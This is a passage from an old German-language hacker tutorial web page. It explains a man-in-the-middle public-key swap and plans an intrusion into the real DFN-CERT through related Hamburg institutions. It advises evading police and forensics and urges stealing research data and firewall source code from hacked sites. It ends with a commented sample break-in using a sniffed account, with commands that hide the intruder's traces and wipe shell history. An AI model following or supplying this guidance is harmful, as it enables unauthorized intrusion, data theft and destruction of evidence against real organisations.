939 unterhalten will. ;)
940 <br>Zur Kommunikation wird ein <b>talk</b>-Derivat verwendet, welches die
941 Daten encrypted ueber ein Computernetzwerk sendet. Desweiteren ist es die
942 erste Kommunikation, sodass sie erst noch ihre Public-Keys austauschen
943 muessen.
944 <br>Unser Angreifer (TICK) sitz irgendwo zwischen den beiden. Nein, nicht
945 'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jeden
946 Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins
947 Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber
948 oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert den
949 <i>DNS
950 Tree</i>, oder veraendert das Routing mit Hilfe von <i>RIP,</i> oder, oder,
951 oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern und
952 weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen
953 Kommunikationspartner erreichen.
954 <br>So. Lasst das Spiel beginnen!
955 <ul>
956 <li>
957 Jochen wartet auf die Verbindung von Harald</li>
958
959 <li>
960 Harald sendet seine Chat-Anfrage an Jochen</li>
961
962 <li>
963 die Software von Jochen und Harald etablieren jetzt die Verbindung</li>
964
965 <li>
966 TICK wird auf diese Aktion natuerlich aufmerksam</li>
967
968 <li>
969 wenn Harald seinen Public-Key an Jochen schickt, faengt TICK ihn ab und
970 sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er
971 kommt von Harald</li>
972
973 <li>
974 Jochen empfaengt TICK's Public-Key und denkt er kommt von Harald</li>
975
976 <li>
977 Jochen seinerseits sendet seinen Public-Key an Harald</li>
978
979 <li>
980 das gleiche Spiel: TICK tauscht Jochen's Key gegen seinen eigenen aus und
981 sendet ihn an Harald</li>
982
983 <li>
984 Harald bemerkt nichts und beginnt mit der verschluesselten Kommunikation.
985 Zur Verschluesselung benutzt er natuerlich TICK's Public-Key</li>
986
987 <li>
988 TICK empfaengt die Nachricht, dechiffriert sie mit seinem Secret-Key und
989 erhaelt den Klartext (der natuerlich aufgezeichnet wird)</li>
990
991 <li>
992 TICK verschluesselt den Klartext mit dem Public-Key von Jochen, damit Jochen
993 die Nachricht decrypten kann und sendet den Ciphertext an Jochen</li>
994
995 <li>
996 Jochen empfaengt die Nachricht und dechiffriert sie mit seinem Secret-Key</li>
997
998 <li>
999 Jochen antwortet auf Harald's Nachricht</li>
1000
1001 <li>
1002 das Spiel geht von Vorne los, nur das in umgekehrter Richtung natuerlich
1003 Harald's Public-Key verwendet werden muss</li>
1004
1005 <li>
1006 TICK lacht sich ins Faeustchen ;)</li>
1007 </ul>
1008 TICK ist es in seiner Position nicht nur moeglich die Daten im Klartext
1009 zu lesen, sondern er kann auch Daten einfuehgen und loeschen. Er koennte
1010 sich z. Bsp. als Harald ausgeben und Jochen diverse Fragen stellen um ihm
1011 so geheime Informationen aus der Nase zu ziehen und die Antworten loeschen,
1012 damit sie Harald nie zu Gesicht bekommt.
1013 <br><i>MIM Attacken </i>koennen durch Signaturen fuer die Public-Keys (z.B.
1014 eines <i>KDC</i>s) oder durch das <i>INTERLOCK-Protokol </i>erschwert/verhindert
1015 werden... aber da es sich hier nicht um ein Security-Paper handelt, werde
1016 ich nicht naeher darauf eingehen. ;)
1017 <p>Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die
1018 z.B. bei <i>SecureShell </i>funktioniert.
1019 <br>Undzwar wenn der Public-Key einer Client-Server Verbindung bekannt
1020 ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln
1021 und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine
1022 Shell zu schicken.
1023 <p>Nungut, um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits
1024 und Sniffern gemacht.
1025 <p>Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die
1026 meisten echter Schrott, was ich dir empfehlen koennte ist <a href="http://www.phrack.com">Phrack</a>
1027 ,&nbsp; <a href="http://thc.inferno.tusculum.edu">THC-Mag</a> ... naja,
1028 und vielleicht noch das TFC- oder CRH-Mag.
1029 <p>Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich
1030 nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen
1031 wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil
1032 die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar
1033 Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen.
1034 Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):
1035 <pre>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz)
1036 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die
1037 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Frauenhofer Gesellschaft, der GMD et cetera
1038 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sniffer installieren und/oder gecrackte Accounts beim DFN testen.
1039 -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; das DFN-CERT liegt in Hamburg
1040 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Somit besteht eine Beziehung zur Uni/FH Hamburg
1041 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer
1042 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; auf die DFN(-CERT)-Domain ansetzen
1043 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der
1044 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Uni-HH geleitet (z.B.: Wolfgang Ley))
1045 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ->&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Das DESY ist ebenfalls in HH!
1046 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt
1047 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sich hier mal vorbei zu sehen. ;)
1048 -&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; und noch ein paar Kleinigkeiten mehr...</pre>
1049 Bei Firmen sind Joint-Ventures noch interessant.
1050 <br>&nbsp;
1051 <p><a NAME="a5"></a>
1052 <h3>
1053 <font color="#990099">Wie rette ich meinen Arsch?</font></h3>
1054
1055 <center><img SRC="pic2.gif" ></center>
1056
1057 <p>Zu diesem Thema werde ich nicht viel sagen, ausser, dass du <a href="htcyt.html">How
1058 to cover your tracks</a> und&nbsp; <a href="http://www.thc.org">Anonymous
1059 Unix</a>&nbsp; von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:
1060 <ul>
1061 <li>
1062 Unterschaetze niemals die Admins und die Bullen.</li>
1063
1064 <li>
1065 Wenn du nicht wirklich gut bist, dann lass' die Finger vom CERT, Firewalls
1066 etc... du bekommst nur Aerger.</li>
1067
1068 <li>
1069 Informiere dich ueber die Gesetze deines Landes (wenn du in Dtld. wohnst,
1070 dann wirf mal einen Blick in's&nbsp; <a href="http://www.thc.org">THC-Mag
1071 4</a> )!</li>
1072
1073 <li>
1074 Bereite dich psychisch und technisch auf eine Hausdurchsuchung vor. Wenn
1075 die Bullen vor der Tuer stehen und du verlierst die Nerven, dann wirst
1076 du viele Fehler machen, die nicht haetten sein muessen.</li>
1077
1078 <li>
1079 Zerstoere nichts und klaue keine Firmengeheimnisse (es sei denn sie sind
1080 fuer Hacker interessant).</li>
1081
1082 <li>
1083 Loesche alle Komponenten deiner Hacking-Tools und Exploits mit <b>srm</b>
1084 o.ae., damit man sie nicht durch rohes Auslesen der HD rekonstruieren kann.</li>
1085
1086 <li>
1087 Stichwort e-Forensic: Auch bei dir wird im Laufe der Zeit die Routine eintreten
1088 und du gewoehnst dir an, bestimmte Befehle/Files/Exploits immer in der
1089 selben Reihenfolge zu benutzen und damit hinterlaesst du einen subtilen
1090 aber existenten "Fingerabdruck". Aus diesem Grund empfehle ich dir dringend
1091 die a-/mtime Time der benutzten Files zu veraendern - am Besten natuerlich
1092 nicht zu veraendern, also die alte Zeit zu setzen.</li>
1093
1094 <li>
1095 Dasselbe gilt auch fuer die Homedirec.s der Accounts, die du benutzt hast.
1096 Ein <b>ls -ald /home/*</b> ist genauso effektiv wie der Aufruf von <b>last</b>.</li>
1097
1098 <li>
1099 Du solltest dir ein Programm schreiben (oder benutze <b>indent</b>), das
1100 das Format deiner Source Codes voellig aufhebt, sodass z.B. dein Source
1101 Code nur aus einer langen Zeile besteht. Es existieren naemlich mehrere
1102 Security Papers, die sich damit beschaeftigen den Autor eines Programs
1103 anhand seines Programmierstils zu erkennen (wurde auch beim <i>Internet
1104 Worm</i> von Robert T. Morris angewandt; so konnte festgestellt werden,
1105 dass der Bufferoverflow Exploit fuer <b>fingerd</b> nicht urspruenglich
1106 von Morris stammt). Desweiteren solltest du keine extravaganten Bezeichnungen
1107 bei der Benennung deiner Funktionen und Variablen waehlen. Das nuetzt natuerlich
1108 alles nichts, wenn du deinen Handle in den Quellcode schreibst. ;)</li>
1109 </ul>
1110 <a NAME="a6"></a>
1111 <h3>
1112 <font color="#990099">Ein paar Gedanken zum Sein eines Hackers</font></h3>
1113
1114 <center><img SRC="pic3.gif" ></center>
1115
1116 <p>Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit
1117 der Farbe zu tun).
1118 <br>In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).
1119 <p>Ein paar Regeln solltest du immer im Hinterkopf behalten:
1120 <ul>
1121 <li>
1122 Zerstoere keine Rechner/Netze</li>
1123
1124 <li>
1125 keine Erpressung</li>
1126
1127 <li>
1128 keine Industriespionage</li>
1129
1130 <li>
1131 hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, nimm
1132 mal 'n paar Herausforderungen an</li>
1133
1134 <li>
1135 und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers verstoesst,
1136 mir jetzt aber nicht einfaellt...</li>
1137 </ul>
1138 <a NAME="a7"></a>
1139 <h3>
1140 <font color="#990099">Yeah, time to become 31337.</font></h3>
1141 Ok, irgendwann wird das alles langweilig und/oder die Domain, in die du
1142 unbedingt hinein willst ist dicht wie 'n Bunker.
1143 <br>Jetzt wird es Zeit seine eigenen Tools und Remote-Exploits zu entwickeln.
1144 <p>Dazu ist folgendes noetig:
1145 <ol>
1146 <li>
1147 natuerlich solltest du fit im Programmieren unter Unix sein (C, C++, Perl,
1148 Shell-Spachen).</li>
1149
1150 <li>
1151 du solltest die Exploits (von Bugtraq etc) genau studieren und einen Ueberblick
1152 und ein Verstaendnis fuer die Sicherheit von Programmen bekommen</li>
1153
1154 <br>das 'Nach-programmieren' von Exploits uebt ungemein ;)
1155 <li>
1156 der Umgang mit Tools wie <b>strace</b>,<b> ltrace</b>, <b>gdb</b>, <b>purify</b>
1157 &amp; Co. sollte dir vertraut sein, damit du auch ohne Source Code Bugs
1158 in Programmen eruieren kannst</li>
1159
1160 <li>
1161 besorge dir diverse Docs ueber das sichere Programmieren von Unix-Software
1162 <a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.html
1163 </a><a href="http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html">http://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.html
1164 </a><a href="http://www.homeport.org/~adam/review.html">http://www.homeport.org/~adam/review.html
1165 </a><a href="http://olympus.cs.ucdavis.edu/~bishop/secprog.html">http://olympus.cs.ucdavis.edu/~bishop/secprog.html
1166 </a><a href="http://www.research.att.com/~smb/talks/odds.[ps|pdf]">http://www.research.att.com/~smb/talks/odds.[ps|pdf]
1167 </a><a href="http://www.pobox.com/~kragen/security-holes.txt">http://www.pobox.com/~kragen/security-holes.txt</a></li>
1168
1169 <li>
1170 und vergiss nicht, so viel Source Codes wie moeglich von den verschiedenen
1171 Unix-Derivaten zu bekommen, die du gehackt hast</li>
1172
1173 <br>wenn du Glueck hast ist noch die Installations-CD im CD-Rom (ich hoffe
1174 mit Sources) ;)
1175 <br>ja, und weil kopieren einfacher ist als selber schreiben, solltest
1176 du bedenken, das Programme, die unter z.B. Linux 'nen Bug haben hoechstwahrscheinlich
1177 auch unter *BSD buggy sind (ok, mit 99,9%iger Ausnahme von OpenBSD)...
1178 <br>und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben,
1179 dann besorge dir das Patch und versuche anhand dessen dein Exploit zu coden
1180 (es ist zwar bloed, dass es schon bekannt ist, aber die meisten Admins
1181 haben mehr Probleme damit ihr Netz am Laufen zu halten als die Bugs in
1182 irgendwelchen Programmen zu patchen)</ol>
1183 Du solltest niemanden die Moeglichkeit geben ein Profil von dir anzufertigen,
1184 dazu ist folgendes zu beachten
1185 <ol>
1186 <li>
1187 Halte nur zu <b>sehr</b> gut befreundeten Hackern kontakt.</li>
1188
1189 <br>Wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mit
1190 PGP encrypted sein, zu einem anonymen Account gehen (benutze keinen gehackten
1191 Account, besser&nbsp; <a href="http://www.hotmail.com">www.hotmail.com</a>,
1192 <a href="http://www.yahoo.com">www.yahoo.com</a>,
1193 <a href="http://www.gmx.net">www.gmx.net</a>&nbsp;
1194 (mit POP!!!)... - der Rechner sollte natuerlich im Ausland stehen, die
1195 Ermittlungsbehoerden schrecken haeufig vor dem Papierkrieg zurueck, sind
1196 auch nur Menschen) unter Verwendung eines speziellen Handles, den du fuer
1197 nichts anderes verwendest.
1198 <br>Du solltest den Handle/Account unregelmaessig aendern und natuerlich
1199 auch ein neues PGP seckey-pubkey Paar erstellen (auch die Passphrase aendern!).
1200 <br>Achte darauf, dass dein PGP Key mit mindestens 2048 bit Schluessellaenge
1201 generiert wird, ausserdem solltest du aus Sicherheitsgruenden nicht die
1202 5.x Version benutzen, sondern bei die alten 2.6.x Version!!!
1203 <li>
1204 Wenn du dich unbedingt auf den einschlaegigen IRC Channels rumtreiben willst,
1205 dann aendere immer deinen Nick und wechsel auch deinen Host (da viele Rechner
1206 im Internet keine <b>irc</b>-Clients installiert haben, solltest du Relays
1207 benutzen (oder auch IP Source Routing und IP Spoofing, probier&acute;s
1208 aus)).</li>
1209
1210 <br>Ich weiss, dass das aendern des Nicks nicht so schoen ist, weil man
1211 dadurch keine Reputation bei der breiten Masse bekommt; aber Reputation
1212 ist so toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und
1213 sind etwas geschwaetziger dir gegenueber - um sich zu profilieren - aber
1214 wenn du erstmal so weit bist, dass du deine eigenen Exploits schreibst,
1215 dann bist du auf den groessten Teil der Hacker sowieso nicht mehr angewiesen,
1216 und den interessanten Rest triffst du nicht so einfach im IRC).
1217 <br>Nuetzlich sind hier sogenannte Redirector, die eine TCP Verbindung
1218 weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man
1219 sich vor Attacken von anderen Hacker schuetzten will, wenn man auf dem
1220 IRC zuviel Aerger verursacht hat ;-))
1221 <br>Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC
1222 benutzen.
1223 <br>Die Polizei fertig nachweislich Logs von den IRC Chats an. (Netguru
1224 haben sie so gefasst, und der war psychisch nicht darauf vorbereitet, haha)
1225 <br>Ach, lass einfach die Finger vom IRC.
1226 <br>Es waere cool, wenn sich mal `n paar von euch die Zeit nehmen wuerden
1227 um ein Crypto-IRC auf Basis von SSH aufzubauen.</ol>
1228 Ok, desweiteren solltest du dir Gedanken machen woher du den Source Code
1229 von kommerziellen Betriebssystemen bekommen koenntest. Die Quellen von
1230 Linux, *BSD und Solaris kannst du zum Glueck legal erwerben; Microsoft
1231 gibt den Source Code von NT an Unis weiter.
1232 <br>Jetzt musst du dich daran machen und versuchen Zugriff auf den Quellcode
1233 von diversen Firewalls und Intrusion-Detection-Systems zu erlangen - dabei
1234 helfen dir die privaten Exploits der Betriebssysteme deren Sourcen du gesammelt
1235 hast. Der Source Code der Gauntlet Firewall ist gegen etwas Geld zu haben
1236 (aber AFAIK nicht mehr von den neuen Version), davon mal abgesehen basiert
1237 der Code einiger Proxies auf dem des TIS-FWTK (was hingegen nichts kostet).
1238 <br>Erfahrungen mit dem Aufbau der gaengigen Firewall Produkte ist unerlaesslich.
1239 Du solltest als Nebenjob oder natuerlich auch hauptberuflich im IT-Sicherheitsbereich
1240 arbeiten um so legal und kostenlos Netzwerksicherheits-Systeme evaluieren
1241 zu koennen und somit deren Schwachstellen zu kennen.
1242 <br>Halte Ausschau nach Universitaeten und Forschungsinstitute, die im
1243 Computersicherheitsbereich Forschung betreiben und kopiere dir die Forschungsdaten,
1244 nachdem du sie gehackt hast. Es ist zwar nicht sehr wahrscheinlich, dass
1245 eine Doktorarbeit kommerziell vermarktet wird, aber der Typ, der die Arbeit
1246 verfasst hat, wird einen gut bezahlten Job bei einer grossen Firma bekommen
1247 und dort seine Systeme (weiter-)entwickeln. Diese Systeme basieren mit
1248 hoher Wahrscheinlichkeit zum grossen Teil auf Algorithmen und Quelltexten
1249 seiner Doktorarbeit... ;)
1250 <br>Nunja, grosse Forschungeinrichtungen werden versuchen, ihre System
1251 auf den Markt zu bringen (evtl. mit Hilfe einer groesseren Firma) und wenn
1252 man dann den Source eines weit verbreiteten Produkts besitzt, dann ist
1253 man Koenig. Das Lustige ist, dass solche Forschungsscheunen Studenten beschaeftigen
1254 um Geld zu sparen, und die haben meistens keine Ahnung von sicherer Programmierung
1255 oder/und bewahren Forschungsdaten, mit denen sie arbeiten muessen, ungeschuetzt
1256 auf ihren Windows-PCs auf.
1257 <br>In den USA arbeiten die Universitaeten oft mit der Regierung zusammen,
1258 dasselbe gilt fuer Japan, dort arbeiten Universitaeten, Konzerne und die
1259 Regierung handinhand - naja, was haetten wir sonst von unseren BORGs erwartet?
1260 Dieser Umstand macht es dir einfach die Firewalls der *.gov's und *.com's
1261 zu hacken.
1262 <br>Ich hoffe, du hast jetzt eine Vorstellung davon bekommen, was so abgeht...
1263 <p>Erfahrungen mit (digitalen) Tk-Anlagen&nbsp; und deren Sicherheitsproblematik
1264 ist unabdingbar. Es nuetzt nicht viel, wenn du eienen externen Remote-Zugang
1265 zu einer Wartungseinheit hackst und dann nichts damit anzufangen weisst.
1266 <p>Bla, bla, bla... genug mit dem "Kochbuch"!
1267 <br>&nbsp;
1268 <p><a NAME="a8"></a>
1269 <h3>
1270 <font color="#993399">Ein Blick ueber die Schulter</font></h3>
1271 <font color="#000000">Ok, beim Zugucken lernt man am Schnellsten.</font>
1272 <br><font color="#000000">Also hier folgt ein Beispielhack mit den entsprechenden
1273 Kommentaren.</font>
1274 <br><font color="#000000">Wir gehen mal davon aus, dass wir den Account
1275 gesniffed (oder sonstwie bekommen) haben und dass wir alle Massnahmen durchgefuehrt
1276 haben um unsere Praesenz auf dem Ausgangsrechner zu verbergen.</font> Desweiteren
1277 wird dir ganze Session natuerlich durch unser Terminalprogramm (kein IP)
1278 aufgezeichnet.
1279 <p><font color="#FF0000">source > finger @victim.domain.com</font>
1280 <br><font color="#FF0000">[]</font>
1281 <p><font color="#FF0000">Welcome to Linux version 2.0.33 at victim.domain.com
1282 !</font>
1283 <p><font color="#FF0000">&nbsp; 6:21pm&nbsp; up&nbsp; 6:10h,&nbsp; 0 users,&nbsp;
1284 load average: 0.28, 0.11, 0.10</font>
1285 <p><font color="#FF0000">&nbsp; No one logged in.</font>
1286 <p><font color="#FF0000">source ></font>
1287 <p><font color="#000000">So ka, es scheint keiner eingeloggt zu sein, aber
1288 wir werden es auf dem Rechner noch genauer ueberpruefen.</font>
1289 <p><font color="#FF0000">source > echo $SHELL</font>
1290 <br><font color="#FF0000">/bin/bash</font>
1291 <br><font color="#FF0000">source > unset USER</font>
1292 <br><font color="#FF0000">source > unset MAIL</font>
1293 <br><font color="#FF0000">source > unset HOME</font>
1294 <br><font color="#FF0000">source > unset PRINTER</font>
1295 <br><font color="#FF0000">source > telnet</font>
1296 <br><font color="#FF0000">telnet > o victim.domain.com</font>
1297 <br><font color="#FF0000">Trying 10.255.0.1...</font>
1298 <br><font color="#FF0000">Connected to localhost.</font>
1299 <br><font color="#FF0000">Escape character is '^]'.</font>
1300 <p><font color="#FF0000">Linux 2.0.33 (victim.domain.com) (ttyp4)</font>
1301 <br>&nbsp;
1302 <p><font color="#FF0000">victim login: johnny</font>
1303 <br><font color="#FF0000">Password:</font>
1304 <br><font color="#FF0000">Have a lot of fun...</font>
1305 <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on tty3.</font>
1306 <br><font color="#FF0000">No mail.</font>
1307 <p>Die Environmentvariablen USER, MAIL, HOME, PRINTER und UID (wenn du
1308 unter X arbeitest, dann vergiss die Variablen XTERM und DISPLAY nicht)
1309 werden von <b>telnet</b> zu <b>telnetd</b> uebertragen, somit kann ein
1310 Admin Informationen ueber den Hackeraccount bekommen (z.B. mit <b>noshell</b>)
1311 was wir natuerlich nicht wollen. Aus diesem Grund loeschen wir diese Werte,
1312 leider ist UID read-only und kann nicht von uns geaendert werden - evtl.
1313 geht's ueber ein C-Program, welches ein voellig neues Environment konstruiert
1314 und anschliessend <b>telnet</b>, eine Shell oder was auch immer exec'd,
1315 ich hab' keine Ahnung.
1316 <br>Ein Bestandteil des Protokols der r-Tools (<b>rlogin</b>, <b>rcp</b>,
1317 <b>rsh
1318 </b>bzw.
1319 <b>remsh</b>
1320 etc) ist der lokale Username - es ist also von der Verwendung dieser Tools
1321 abzuraten.
1322 <br><font color="#000000">Vielleicht hast du dich gefragt warum wir <b>telnet</b>
1323 interaktiv benutzen, nungut, der Grund ist einfach: damit </font>verhindern
1324 wir, dass der Zielrechner in der Prozessliste von &acute;source' auftaucht.
1325 <p><font color="#FF0000">victim:/home/johnny > rlogin victim</font>
1326 <br><font color="#FF0000">Password:</font>
1327 <br><font color="#FF0000">Have a lot of fun...</font>
1328 <br><font color="#FF0000">Last login: Wed Jun 17 19:16:07 on ttyp4 from
1329 source.ass.com.</font>
1330 <br><font color="#FF0000">No mail</font>
1331 <br><font color="#FF0000">victim:/home/johnny > exit</font>
1332 <br><font color="#FF0000">rlogin: connection closed.</font>
1333 <br><font color="#FF0000">victim:/home/johnny > csh -f</font>
1334 <br><font color="#FF0000">victim % ls -altr</font>
1335 <br><font color="#FF0000">[...]</font>
1336 <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 test&nbsp;&nbsp;&nbsp;&nbsp;
1337 users&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450 Jul&nbsp; 6 11:38
1338 .bash_history</font>
1339 <br><font color="#FF0000">victim % unset HISTFILE</font>
1340 <br><font color="#FF0000">victim % cat /dev/zero > .bash_history</font>
1341 <br><font color="#FF0000">^C</font>
1342 <br><font color="#FF0000">victim % rm .bash_history</font>
1343 <p><font color="#000000">Ja, alles was wir hier gemacht haben ist unsere
1344 Spuren etwas zu verschleiern und das ohne root-Rechte. Durch <b>rlogin</b>
1345 (<b>telnet</b> geht natuerlich auch) koennen wir unseren Lastlog-Entry
1346 ueberschreiben und was absolut wichtig ist, ist dass das History-File geloescht
1347 wird; und um kein neues File zu erzeugen rufen wir die <b>csh</b> auf,
1348 die per default kein History-File erstellt (wenn der User die <b>csh</b>
1349 benutzt kannst du auch die Bourne-Shell <b>sh</b> verwenden, aber vorsicht,
1350 denn unter Linux z.B. ist </font><font color="#33FF33">/bin/sh</font><font color="#000000">ein
1351 <i>Link
1352 </i>auf
1353 </font><font color="#33FF33">/bin/bash</font><font color="#000000">).</font>
1354 <br><font color="#000000">Das History-File musst du unbedingt am Anfang
1355 deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und einen <i>Hard-Link
1356 </i>auf
1357 das File macht, dann bleiben die Daten auf der HD erhalten und der Admin
1358 kann ueber den <i>Hard-Link</i> darauf zugreifen.</font>
1359 <br><font color="#000000">Falls <b>login</b> SUID root installiert ist,
1360 hast du die Moeglichkeit auch dein </font><font color="#33FF33">utmp</font><font color="#000000">[</font><font color="#33FF33">x</font><font color="#000000">]-Entry
1361 zu ueberschreiben, dazu</font> <font color="#000000">rufst du einfach <b>login</b>
1362 auf und loggst dich ein.</font>
1363 <p><font color="#FF0000">victim % w</font>
1364 <br>&nbsp;<font color="#FF0000">&nbsp; 6:54pm&nbsp; up&nbsp; 6:43h,&nbsp;
1365 1 users,&nbsp; load average: 0.08, 0.09, 0.08</font>
1366 <br><font color="#FF0000">USER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TTY&nbsp;&nbsp;&nbsp;
1367 LOGIN@&nbsp; IDLE&nbsp;&nbsp; JCPU&nbsp;&nbsp; PCPU&nbsp; WHAT</font>
1368 <br><font color="#FF0000">johnny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ttyp4&nbsp;&nbsp;
1369 6:35pm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1370 0:00&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1371 w</font>
1372 <p><font color="#FF0000">victim % ps au</font>
1373 <br><font color="#FF0000">USER&nbsp;&nbsp; PID %CPU %MEM&nbsp;&nbsp; VSZ&nbsp;&nbsp;
1374 RSS&nbsp; TT STAT&nbsp; START&nbsp;&nbsp; TIME COMMAND</font>
1375 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 144&nbsp;&nbsp;&nbsp;
1376 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1377 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1378 S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1379 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
1380 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 145&nbsp;&nbsp;&nbsp;
1381 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1382 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8&nbsp;&nbsp;&nbsp;
1383 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1384 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp;&nbsp;
1385 mingetty</font>
1386 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 146&nbsp;&nbsp;&nbsp;
1387 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1388 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 28&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1389 S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12:12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1390 0:00&nbsp;&nbsp;&nbsp;&nbsp; mingetty</font>
1391 <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 147&nbsp;&nbsp;&nbsp;
1392 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1393 800&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
